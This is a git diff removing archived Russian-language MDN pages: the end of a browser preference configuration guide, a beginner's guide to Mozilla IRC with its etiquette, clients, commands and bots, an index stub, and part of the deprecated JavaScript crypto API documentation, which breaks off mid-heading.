-----------------------</font></font><font><font> -// [Общая настройка браузера]</font></font><font><font> -// ------------------------------------------------ -----------------------</font></font><font><font> -config("autoadmin.refresh_interval", 1440); </font><font>// автоматическое обновление каждые 24 часа</font></font><font><font> -defaultPref( "browser.startup.page", 1); </font></font><font><font> -// 0 = пустая страница, 1 = домашняя страница, 2 = последний посетитель</font></font><font><font> -defaultPref("browser.startup.homepage", "http://www/mci/mode-d-emploi.shtml");</font></font><font><font> -lockPref("browser.cache.directory", "/ tmp");</font></font><font><font> -lockPref("browser.cache.memory_cache_size", 0);</font></font> -<font><font> -lockPref( "mail.server_type", 1); </font><font>// POP = 0 IMAP = 1</font></font><font><font> -lockPref("network.hosts.imap_servers", "pop-int"); -lockPref( "mail.imap.server.pop-int.using_subscription", </font></font><code>true</code><font><font>); -lockPref("mail.imap.server.pop-int.userName", env_user);</font></font><font><font> -lockPref("mail.identity.useremail", ldap_email);</font></font><font><font> -lockPref("mail.identity.username", ldap_gecos);</font></font><font><font> -lockPref("mail.check_new_mail", false);</font></font><font><font> -lockPref("mail.directory", env_home + "/nsmail");</font></font><font><font> -lockPref("mail.identity.defaultdomain", "int-evry.fr");</font></font><font><font> -lockPref("mail.identity.organization", "INT Evry Essonne");</font></font> -<font><font> -// LDAP</font></font><font><font> -lockPref("ldap_2.autoComplete.useDirectory", true);</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.autoComplete.enabled", true);</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.csid", "UTF-8");</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.description", "LDAP INT");</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.filename", "LDAPINT.na2");</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.position", 2);</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.searchBase", "ou = people, dc = int-evry, dc = fr");</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.serverName", "ldap1.int-evry.fr");</font></font> -<font><font> -//Новости</font></font><font><font> -lockPref("news.directory", "/tmp");</font></font><font><font> -// прокси</font></font><font><font> -lockPref("network.proxy.autoconfig_url", \</font></font><font><font> -"Http://www.int-evry.fr/local/config.proxy");</font></font> -<font><font> -} // с (PrefConfig)</font></font> -</pre> - -<p><font><font>Этот документ был первоначально переведен из LaTeX с помощью </font></font><a href="http://pauillac.inria.fr/~maranget/hevea/"><font><font>HEVEA</font></font></a><font><font> .</font></font></p> - -<p><font><font>«автор»: «Jehan Procaccia MCI INT-EVRY- jehan.procaccia AT int-evry.fr»</font></font></p> - -<p><font><font>«дата создания»: «02 сентября 2006 года» </font></font></p> diff --git a/files/ru/archive/mozilla/getting_started_with_irc/index.html b/files/ru/archive/mozilla/getting_started_with_irc/index.html deleted file mode 100644 index da73111af2..0000000000 --- a/files/ru/archive/mozilla/getting_started_with_irc/index.html +++ /dev/null @@ -1,315 +0,0 @@ ---- -title: Начало работы с IRC -slug: Archive/Mozilla/Getting_Started_with_IRC -tags: - - QA - - irc -translation_of: Archive/Mozilla/Getting_started_with_chat ---- -<h2 class="western" id="Что_такое_IRC" style="font-style: normal;">Что такое IRC?</h2> - -<p>IRC (Internet Relay Chat) — способ обмена текстовыми сообщениями в реальном времени сразу между многими пользователями. Пользователи подключаются к серверу ипользуя IRC-клиент, и заходят на каналы (в чаты). Пользователи вводят сообщения, которые рассылаются всем другим пользователям на канале. IRC также позволяет подключённым пользователям общаться один-на-один. IRC — основная форма общения между членами сообщества Mozilla (программистами, тестировщикамию пользователями и т. п.).</p> - -<h2 class="western" id="Общие_правила_и_этикет" style="font-style: normal;"><span style="text-decoration: none;">Общие правила и этикет</span></h2> - -<p style="margin-bottom: 0in; font-weight: normal;"><span style="font-style: normal;"><span style="text-decoration: none;">Если Ваш клиент уже настроен и подключен к IRC, вот несколько простых правил, следование которым сделает ваш опыт использования IRC приятным и продуктивным.</span></span></p> - -<p style="margin-bottom: 0in; font-weight: normal;"> </p> - -<p style="margin-bottom: 0in; padding-left: 30px;">1. Старайтесь выражаться кратко. Если вам надо отправить что-нибудь длинное, например кусок кода, вставьте это на <a href="http://pastebin.mozilla.org/">pastebin.mozilla.org</a>, а в IRC отправьте полученный URL.</p> - -<p style="margin-bottom: 0in; padding-left: 30px;">2. Обращаясь к конкретному человеку, старайтесь использовать форму «Имя: сообщение». Например: «ashughes: good morning!»</p> - -<p style="margin-bottom: 0in; padding-left: 30px;">3. У каждого канала есть своя тема. Старайтесь её придерживаться. Например, не обсуждайте проблемы с Thunderbird на #Firefox.</p> - -<p style="margin-bottom: 0in; padding-left: 30px;">4. IRC-каналы Mozilla наиболее активны с понедельника по пятницу с 9 утра по 7 вечера по тихоокеанскому времени, за исключением <a href="http://www.opm.gov/Operating_Status_Schedules/fedhol/2009.asp">праздничных дней в США</a>.</p> - -<p style="margin-bottom: 0in; padding-left: 30px;">5. Задав вопрос, будьте терпеливы. Ответить могут через несколько минут.</p> - -<p style="margin-bottom: 0in; padding-left: 30px;">6. Если вы, прежде чем задать вопрос, будете дожидаться ответа на сообщение типа «Помогите!» или «Здесь кто-нибудь есть?», вам вряд ли кто-то поможет. Asking a good question will result in a better experience for both you and the person trying to help. There is a good reference for what makes a good question <a href="http://www.gerv.net/hacking/how-to-ask-good-questions/">here</a>.</p> - -<p style="padding-left: 30px;"><span style="font-style: normal;">7. <strong>Расслабтесь и веселитесь!</strong></span></p> - -<h2 class="western" id="Software" name="Software" style="font-style: normal;"><span style="text-decoration: none;">Программы</span></h2> - -<h3 class="western" id="ChatZilla_(расширение_Firefox)"><strong><span style="font-size: small;"><span style="font-style: normal;"><span style="text-decoration: none;">ChatZilla (расширение Firefox)</span></span></span></strong></h3> - -<p class="western"><span style="font-style: normal;"><span style="text-decoration: none;">Есть несколько различных приложений которые позволяют вам соединиться к IRC сети. Простейший в использовании это дополнение к Firefox названным Chatzilla. Следующие инструкции описывают как установить и сконфигурировать Chatzilla для использования в Mozilla IRC сети.</span></span></p> - -<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">1. Перейдите к <a href="https://addons.mozilla.org/en-US/firefox/addon/16">addons.mozilla.org</a> для скачивания и установки Chatzilla</span></span></span></p> - -<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">2. Щёлкни зелённую </span></span></span><em><span style="text-decoration: none;"><span style="font-weight: normal;">Add to Firefox</span></span></em><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;"> кнопку</span></span></span></p> - -<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">3. Щёлкни кнопку </span></span></span><em><span style="text-decoration: none;"><span style="font-weight: normal;">Install</span></span></em><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;"> на Addon Installation dialog</span></span></span></p> - -<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">4. Как только ChatZilla установиться, щёлкни </span></span></span><em><span style="text-decoration: none;"><span style="font-weight: normal;">Restart Firefox</span></span></em></p> - -<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">5. Как только Firefox перезагрузиться, закрой Add-ons диалог</span></span></span></p> - -<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">6. Теперь щёлкни Tools menu > ChatZilla для запуска клиента</span></span></span></p> - -<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">7. В текстовом поле в нижней части окна напечаьай </span></span></span><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">/server irc.mozilla.org</span></span></span></span></span><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;"> и нажми enter</span></span></span></p> - -<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">8. </span></span></span>Вам будет предоставлено случайное имя при первом подключении<span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">. Обычно клиент будет использовать просто имя пользователя вашего компьютера. Если данное имя уже используется, то будет использовано что-то как </span></span></span><em><span style="text-decoration: none;"><span style="font-weight: normal;">IRCMonkey21710</span></span></em><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">. Вы можете поменять ваш никнейм напечатав /nick nickname, где nickname это ваш желаемый nickname. Вы также можете сменить никнейм используя dropdown box слева от текстового поля.</span></span></span></p> - -<p style="font-style: normal; padding-left: 30px;"><em><span style="text-decoration: none;"><span style="font-weight: normal;">Смотри <a href="#commands">Commands</a> раздел ниже для получения дополнительных IRC комманд.</span></span></em></p> - -<p style="padding-left: 30px;"><span style="text-decoration: none;"><span style="font-weight: normal;">9. Присоединяйтесь к каналу тип </span></span><span style="font-family: courier new,monospace;"><span style="font-size: xx-small;"><span style="text-decoration: none;"><span style="font-weight: normal;"><span style="font-size: x-small;">/join #channel</span>,</span></span></span></span><span style="text-decoration: none;"><span style="font-weight: normal;"> где #channel имя канала к которому вы хотите присоединиться.</span></span></p> - -<p style="padding-left: 30px;"><em><span style="text-decoration: none;"><span style="font-weight: normal;">Смотри</span></span></em> <em><span style="text-decoration: none;"><span style="font-weight: normal;"> <a href="#channels">Channels</a> раздел ниже для некоторых каналов, доступных в сети Mozilla IRC.</span></span></em></p> - -<h3 class="western" id="Настольные_клиенты"><span style="font-size: small;"><strong><span style="text-decoration: none;">Настольные клиенты</span></strong></span></h3> - -<p style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">Как было сказано ранее, ChatZilla не единственный существующий IRC-клиент, хотя он и один из самых простых. Преимущество настольных клиентов — в значительно большей настраиваемости. Например, можно выбирать между SSL и незашифрованным соединением, а также настроить клиент при запуске автоматически подключаться к серверу и входить на определённые каналы. Ниже приведены некоторые доступные клиенты:</span></span></p> - -<table style="text-align: right; width: 100%;"> - <tbody> - <tr> - <td> </td> - <td> - <p align="CENTER"><strong>Windows</strong></p> - </td> - <td> - <p align="CENTER"><strong>Mac</strong></p> - </td> - <td> - <p align="CENTER"><strong>Linux</strong></p> - </td> - </tr> - <tr> - <td><a href="http://colloquy.info/downloads.html">Colloquy</a></td> - <td> </td> - <td> - <p align="CENTER">●</p> - </td> - <td> </td> - </tr> - <tr> - <td><a href="http://irssi.org/download#binaries">IRSSI</a></td> - <td> - <p align="CENTER">●</p> - </td> - <td> - <p align="CENTER">●</p> - </td> - <td> - <p align="CENTER">●<span style="font-family: arial,sans-serif;">*</span></p> - </td> - </tr> - <tr> - <td><a href="http://www.xchat.org/download/">Xchat</a></td> - <td> - <p align="CENTER">●</p> - </td> - <td> - <p align="CENTER">○</p> - </td> - <td> - <p align="CENTER">●<span style="font-family: arial,sans-serif;">*</span></p> - </td> - </tr> - </tbody> -</table> - -<p style="padding-left: 30px;"><em><span style="font-family: arial,sans-serif;"><span style="text-decoration: none;"><span style="font-weight: normal;">● </span></span></span></em><span style="font-family: arial,sans-serif;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">Доступны бинарные или исполняемые программные файлы</span></span></span></span></p> - -<p style="padding-left: 30px;"><span style="font-family: arial,sans-serif;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">○ Доступен только в виде исходного кода, который надо скачать и скомпилировать</span></span></span></span></p> - -<p style="padding-left: 30px;"><span style="font-family: arial,sans-serif;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">●* Исполнимые файлы могут быть доступны. Если нет, надо будет скачать и скомпилировать исходные тексты.</span></span></span></span></p> - -<p style="padding-left: 30px;"><span style="font-family: arial,sans-serif;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">w Веб-приложение (то есть, работает в браузере) </span></span></span></span></p> - -<p><em><span style="text-decoration: none;"><span style="font-weight: normal;">Более полный список IRC-клиентов можно найти <a href="http://ru.wikipedia.org/wiki/Сравнение_IRC-клиентов">здесь</a>.</span></span></em></p> - -<p style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">При использовании настольного клиента надо будет настроить подключение к серверу используя следующую информацию:</span></span></p> - -<p style="font-style: normal; padding-left: 30px;"><span style="text-decoration: none;"><strong>Сервер: irc.mozilla.org</strong></span></p> - -<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><strong>Порт: 6667 (default) or 6697 (SSL)</strong></span></span></p> - -<h3 id="Веб-клиенты"><span style="font-style: normal;"><span style="text-decoration: none;"><strong>Веб-клиенты</strong></span></span></h3> - -<p><span style="font-style: normal;"><span style="text-decoration: none;">Есть также несколько клиентов, являющихся веб-приложениями, которые позволяют подключаться к IRC кликая на ссылки irc://. Один из простейших таких клиентов — </span></span><a href="http://www.mibbit.com/">Mibbit</a>. Он работает очень сходно с упомянутыми выше настольными клиентами и ChatZilla’ой. Mibbit НЕ требует Flash или каких-либо других плагинов. <a name="channels"></a></p> - -<h2 class="western" id="Channels" name="Channels"><span style="font-style: normal;">Каналы</span></h2> - -<p><span style="font-style: normal;">Здесь находиться список каналов, для которых вы должны быть в курсе как член сообщества Mozilla: </span><span style="font-style: normal;"><strong>(Не забывайте использовать irc.mozilla.org и порт 6697 или 6667 для настройки сервера)</strong></span></p> - -<table style="width: 100%;"> - <tbody> - <tr> - <td><a href="irc://irc.mozilla.org/qa"><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">#qa</span></span></a></td> - <td>Канал для обсуждений QA / QE / контроля качества</td> - </tr> - <tr> - <td><a href="irc://irc.mozilla.org/developers"><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">#developers</span></span></a></td> - <td>Канал для обсуждения разработки Mozilla</td> - </tr> - <tr> - <td><a href="irc://irc.mozilla.org/sumo"><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">#sumo</span></span></a></td> - <td>Канал для поддержки с Firefox</td> - </tr> - </tbody> -</table> - -<p><em>Для прлучения дополнительной информации о сети Mozilla IRC и каналах, перейдите <a href="https://wiki.mozilla.org/IRC">here</a>.</em> <a name="commands"></a></p> - -<h2 class="western" id="Commands" name="Commands" style="font-style: normal;">Команды</h2> - -<p><span style="font-style: normal;">Ниже приведен список команд, которые вы должны хорошо знать. Просто введите их в окно сообщений в нижней части экрана и нажмите enter.</span></p> - -<table style="width: 100%;"> - <tbody> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/join #channel</span></span></td> - <td>Joins you to the specified channel until you quit your IRC client or quit the channel</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/leave</span></span></td> - <td>Leave the current channel</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/mode #channel +k password</span></span></td> - <td>Sets a password for the channel. If #channel is not specified, the command is executed for the current channel.</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/mode #channel +o nickname</span></span></td> - <td>Sets specified user as an owner or moderator of the specified channel. If a #channel is not specified, the command is executed for the current channel.</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/mode #channel +s</span></span></td> - <td>Sets the channel as a secret channel. This takes the channel off the public list of active channels and topics.</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg nick message</span></span></td> - <td>Sends a private message to the specified user</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/nick nickname</span></span></td> - <td>Change your current nickname</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">nickname: ping</span></span></td> - <td>Get a user's attention (nickname is the name of the user you want the attention of)</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">nickname: pong</span></span></td> - <td>Respond to a user's ping (nickname is the name of the user who wants your attention)</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/query nickname</span></span></td> - <td>Opens a private chat with the specified user</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/quit message</span></span></td> - <td>Disconnects you from the current server displaying the message in all connected channels prior to quitting</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/reload styles</span></span></td> - <td>Some IRC clients, Colloquy on Mac in particular, stop displaying your messages in the channel window. If this happens, you can type this command to resolve this issue.</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/server server-name</span></span></td> - <td>Manually connect to a server</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/topic topic</span></span></td> - <td>Changes the topic of the channel. The topic is a message that displays first when you join a channel.</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/whois nickname</span></span></td> - <td>Display information about the specified user. This information displays in the server window.</td> - </tr> - </tbody> -</table> - -<p><em>For more information about IRC commands go <a href="http://www.technerd.net/irc-commands.html">here</a>.</em></p> - -<h2 class="western" id="Bots" name="Bots" style="font-style: normal;">Боты</h2> - -<p><span style="font-style: normal;">Some users in IRC are not human. These users are known as bots and automatically perform certain tasks; some automatic, some triggered by other users. The most common of these bots are called NickServ, ChanServ, and Firebot.</span></p> - -<h3 class="western" id="NickServ"><span style="font-size: small;"><span style="font-style: normal;"><strong>NickServ</strong></span></span></h3> - -<p><span style="font-style: normal;">This bot allows you to register your nickname which prevents other users from using it. NickServ also automatically elevates all registered users to operators when they sign on.</span><span style="font-style: normal;"><span style="font-weight: normal;">The following are some helpful commands which can be used by NickServ:</span></span></p> - -<table style="width: 100%;"> - <tbody> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ REGISTER password email</span></span></span></span></td> - <td><span style="font-style: normal;"><span style="font-weight: normal;">This registers your nickname with the server.</span></span></td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ IDENTIFY password</span></span></span></span></td> - <td><span style="font-style: normal;"><span style="font-weight: normal;">Once registered, you need to type this every time you want to sign into channels using your registered nickname</span></span></td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ HELP</span></span></span></span></td> - <td><span style="font-style: normal;"><span style="font-weight: normal;">This displays a list of commands which can be used with NickServ</span></span></td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ HELP REGISTER</span></span></span></span></td> - <td><span style="font-style: normal;"><span style="font-weight: normal;">This displays helpful information about nickname registration</span></span></td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ HELP IDENTIFY </span></span></span></span></td> - <td><span style="font-style: normal;"><span style="font-weight: normal;">This displays helpful information about identifying yourself upon sign in</span></span></td> - </tr> - </tbody> -</table> - -<p><em><span style="font-weight: normal;">For more information about NickServ go <a href="http://www.technerd.net/nickserv.html">here</a>.</span></em></p> - -<h3 id="ChanServ"><span style="font-size: small;"><span style="font-style: normal;"><strong>ChanServ</strong></span></span></h3> - -<p><span style="font-style: normal;"><span style="font-weight: normal;">This bot allows you to register new channels and control aspects of channels. The following are some helpful commands which can be used by ChanServ:</span></span></p> - -<table style="width: 100%;"> - <tbody> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg ChanServ HELP</span></span></td> - <td>This displays a list of commands which can be used with ChanServ</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg ChanServ IDENTIFY #channel password</span></span></td> - <td>Allows you to edit the apsects of the specified channel given the correct password</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg ChanServ REGISTER #channel password topic</span></span></td> - <td>Registers a channel given the correct password and sets the topic</td> - </tr> - </tbody> -</table> - -<p><em><span style="font-weight: normal;">For more information about ChanServ go <a href="http://www.technerd.net/chanserv.html">here</a>.</span></em></p> - -<h3 id="Firebot"><span style="font-size: small;"><span style="font-style: normal;"><strong>Firebot</strong></span></span></h3> - -<p><span style="font-size: small;"><span style="font-style: normal;"><span style="font-weight: normal;">Firebot is a bot which assists with Mozilla related activities on IRC. For instance, Firebot automatically posts messages to #developers about the status of automated tests. The following are some helpful commands which can be used by Firebot:</span></span></span></p> - -<table style="width: 100%;"> - <tbody> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">bug ######</span></span></td> - <td>When a bug number is mentioned in a message, Firebot automatically displays the link and summary from bugzilla for that bug.</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg firebot uuid</span></span></td> - <td>Displays a unique identifier. This is useful when creating interfaces for add-on development.</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg firebot cid</span></span></td> - <td>Displays a unique 128-bit number which can be used to identify a class or component.</td> - </tr> - <tr> - <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/invite firebot #channel</span></span></td> - <td>Adds firebot to the specified channel.</td> - </tr> - </tbody> -</table> - -<p><em><span style="font-weight: normal;">For more information about Firebot go <a href="https://wiki.mozilla.org/Firebot">here</a>.</span></em></p> - -<h2 class="western" id="Further_Reading" style="font-style: normal;">Further Reading</h2> - -<p><a href="http://www.irchelp.org/irchelp/faq.html"><span style="font-style: normal;">IRC Frequently Asked Questions and other helpful tutorials</span></a> <span style="font-style: normal;"><a href="http://www.irchelp.org/irchelp/changuide.html">IRC Channel Operator's Guide</a> (New Version)</span> <span style="font-style: normal;"><a href="http://www.irchelp.org/irchelp/opguide.html">IRC Channel Operator's Guide</a> (Old Version) [</span><em>From 1995, but still quite useful</em><span style="font-style: normal;">]</span></p> diff --git a/files/ru/archive/mozilla/index.html b/files/ru/archive/mozilla/index.html deleted file mode 100644 index 0acec76e6d..0000000000 --- a/files/ru/archive/mozilla/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Archived Mozilla and build documentation -slug: Archive/Mozilla -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Mozilla ---- -<p>These articles are archived, obsolete documents about Mozilla, Gecko, and the process of building Mozilla projects.</p> -<p>{{SubpagesWithSummaries}}</p> diff --git a/files/ru/archive/mozilla/javascript_crypto/index.html b/files/ru/archive/mozilla/javascript_crypto/index.html deleted file mode 100644 index b24e78050c..0000000000 --- a/files/ru/archive/mozilla/javascript_crypto/index.html +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: JavaScript crypto -slug: Archive/Mozilla/JavaScript_crypto -translation_of: Archive/Mozilla/JavaScript_crypto ---- -<p>{{ Non-standard_header() }}{{deprecated_header}}{{ warning("The features mentioned in this article are deleted proprietary Mozilla extensions, and are not supported in any other browser. They won't work in Firefox 34 or later. Use <keygen> or the future Web Crypto API instead.") }}</p> - -<h2 id="Using_the_Mozilla_crypto_object_from_JavaScript">Using the Mozilla <code>crypto</code> object from JavaScript</h2> - -<p>Mozilla defines a special JavaScript object to allow web pages access to certain cryptographic-related services. These services are a balance between the functionality web pages need and the requirement to protect users from malicious web sites. Most of these services are available via the DOM {{ domxref("window") }} object as {{ domxref("window.crypto") }}.</p> - -<p>Services are provided to enable: smart card events, generating certificate requests, importing user certs, generating random numbers, logging out of your tokens, and signing text.</p> - -<h3 id="Handling_smart_card_events">Handling smart card events</h3> - -<p>Web sites can make themselves more SmartCard friendly by listening for SmartCard insertion and removal events. To enable your document to receive these events, you must first tell the crypto system you are interested by setting {{ domxref("window.crypto.enableSmartCardEvents") }} to <code>true</code>. You can then register event handlers for these events with the {{ domxref("document.addEventListener()") }} method.</p> - -<p>Two smart card related events are generated: <code>smartcard-insert</code> when SmartCards are inserted, and <code>smartcard-remove</code> when SmartCards are removed.</p> - -<p>Web sites which use SSL clientAuth login could use the following code to refresh the page on token insertions and removals:</p> - -<pre class="brush:html;"><!DOCTYPE html> -<p>... -<script> -function onSmartCardChange() { - window.location.reload(); -} -function register() { - window.crypto.enableSmartCardEvents = true; - document.addEventListener("smartcard-insert", onSmartCardChange, false); - document.addEventListener("smartcard-remove", onSmartCardChange, false); -} -function deregister() { - document.removeEventListener("smartcard-insert", onSmartCardChange, false); - document.removeEventListener("smartcard-remove", onSmartCardChange, false); -} - -document.body.onload = register; -document.body.onunload = deregister; -</script> -</pre> - -<p>With the above example, your web site will automatically reload anytime a SmartCard is inserted or removed. This allows the page to automatically login and logout based on the presence of the SmartCard.</p> - -<h4 id="Generating_Keys_and_issuing_User_Certificates" name="Generating_Keys_and_issuing_User_Certificates">Generating keys and issuing user certificates</h4> - -<p>There are several crypto object methods used in generating keys for certificates: <a href="/en/JavaScript_crypto/generateCRMFRequest" title="en/JavaScript_crypto/generateCRMFRequest">generateCRMFRequest</a>(), <a href="/en/JavaScript_crypto/importUserCertificates" title="en/JavaScript_crypto/importUserCertificates">importUserCertificates</a>().</p> - -<p>The <a href="/en/JavaScript_crypto/generateCRMFRequest" title="en/JavaScript_crypto/generateCRMFRequest">generateCRMFRequest</a>() function generates a key and creates a <a href="/en/CRMF_Request_object" title="en/CRMF_Request_object">CRMF Request object</a>. This object can be passed to a CA using a webform.</p> - -<p>The <a href="/en/JavaScript_crypto/importUserCertificates" title="en/JavaScript_crypto/importUserCertificates">importUserCertificates</a>() function loads certificates into the NSS database or SmartCard if the corresponding key is found there.</p> - -<p>The <a href="/en/JavaScript_crypto/popChallengeResponse" title="en/JavaScript_crypto/popChallengeResponse">popChallengeResponse</a>() function is not implemented.</p> - -<h3 id="Overview_of_New_Cert_Issuing_Process" name="Overview_of_New_Cert_Issuing_Process">Overview of the new cert issuing process</h3> - -<ol> - <li>User fills out enrollment form</li> - <li>User action initiates script</li> - <li>Script calls key generation method (<a href="/en/JavaScript_crypto/generateCRMFRequest" title="en/JavaScript_crypto/generateCRMFRequest">generateCRMFRequest</a>)</li> - <li>Signing and Encryption keys are generated</li> - <li>Encryption Private Key is wrapped with public key of Key Recovery Authority (KRA) (passed in in the form of a certificate as part of the script, and checked against a pre-installed certificate copy in the local certificate database)</li> - <li>The public keys, wrapped encryption private key, and text string from the script (possibly containing naming or enrollment info) are signed by the user</li> - <li>Signed blob is returned to the script</li> - <li>Script submits signed blob and any other necessary info to the CA/RA</li> - <li>CA/RA verifies signature on signed blob</li> - <li>CA/RA validates identity of user</li> - <li>CA/RA sends wrapped encryption private key to KRA</li> - <li>KRA sends escrow verification back to CA</li> - <li>CA creates and signs certificates</li> - <li>CA sends certificates back to the user (<a href="/en/JavaScript_crypto/importUserCertificates" title="en/JavaScript_crypto/importUserCertificates">importUserCertificates</a>)</li> -</ol> - -<h3 id="Typical_use" name="Typical_use">Typical use</h3> - -<p>The CA's enrollment page could look something like this:</p> - -<pre class="brush:html;"><!DOCTYPE html> -<h2>Request a cert</h2> -<form name="ReqForm" method="post" action="http://your.ra.site.org"> -<p><input type=hidden name=cert_request value=""> -<p>Name: <input type=text name=name value=""> -<p>Password: <input type=password name="password" value=""> -<p><input type=submit Name="Send" value="Submit"> -</form> -<script> -/* the following values could be filled in by the server CGI */ -var authenticator = "server_magic"; -var keyTransportCert = null; -var crmfObject = null; -var form = document.forms[0]; - -function validate() -{ - // generate keys for nsm. - if (typeof(crypto.version) != "undefined") { - crmfObject = crypto.generateCRMFRequest( - "CN=" + form.name.value, - form.password.value, - authenticator, - keyTransportCert, - "setCRMFRequest();", - 1024, - null, - "rsa-dual-use"); - } - return false; -} - -function setCRMFRequest() -{ - form.cert_request.value = crmfObject.request; - form.submit(); -} - -form.onsubmit = validate; -</script> -</pre> - -<p>On completion of the request, the CA may submit a page that looks something like this:</p> - -<pre class="brush:html;"><!DOCTYPE html> -<h2>Certificate Request Successful</h2> -<p>Hit 'load' to load your certificate</p> -<form name="ReqForm"> -<p><input type=submit Name="Load" value="Submit"></p> -</form> -<script> -/* the following values could be filled in by the server CGI */ -var nickname= "MyCertNickname"; -var cert = "Mkjflakdjfiwjflaksufklasf ..."; -var forceBackup = false; - -function LoadCertificate() -{ - window.crypto.importUserCertificates(nickname, cert, forceBackup); - return false; -} - -document.forms[0].onsubmit = LoadCertificate; -</script> -</pre> - -<h4 id="Signing_text" name="Signing_text">Signing text</h4> - -<pre class="eval">DOMString signText(DOMString stringToSign, - DOMString caOption /* ... */); -</pre> - -<h4 id="Loading_PKCS_.2311_modules" name="Loading_PKCS_.2311_modules">Loading PKCS #11 modules</h4> - -<pre class="eval">long deletemodule(DOMString moduleName); -long addmodule(DOMString moduleName, - DOMString libraryFullPath, - long cryptoMechanismFlags, - long cipherFlags); -</pre> - -<p>Loads or removes a new PKCS #11 module. In the add case, the module will be placed in the NSS secmod.db database and will be loaded automatically on application restart. In the delete case, the module is removed from the NSS secmod.db. This function will issue a user prompt to confirm the operation before the add or delete actually occurs.</p> - -<h6 id="Parameters">Parameters</h6> - -<dl> - <dt><code>moduleName</code></dt> - <dd>Name of the module.</dd> - <dt><code>libraryFullPath</code></dt> - <dd>The filename of the library prepended with its full path.</dd> - <dt><code>cryptoMechanismFlags</code></dt> - <dd>A bit vector indicating all cryptographic mechanisms should be turned on by default (see below).</dd> - <dt><code>cipherFlags</code></dt> - <dd>A bit vector indicating all SSL or S/MIME cipher functions supported by the module (see below).</dd> -</dl> - -<h4 id="Mechanism_flag_definitions">Mechanism flag 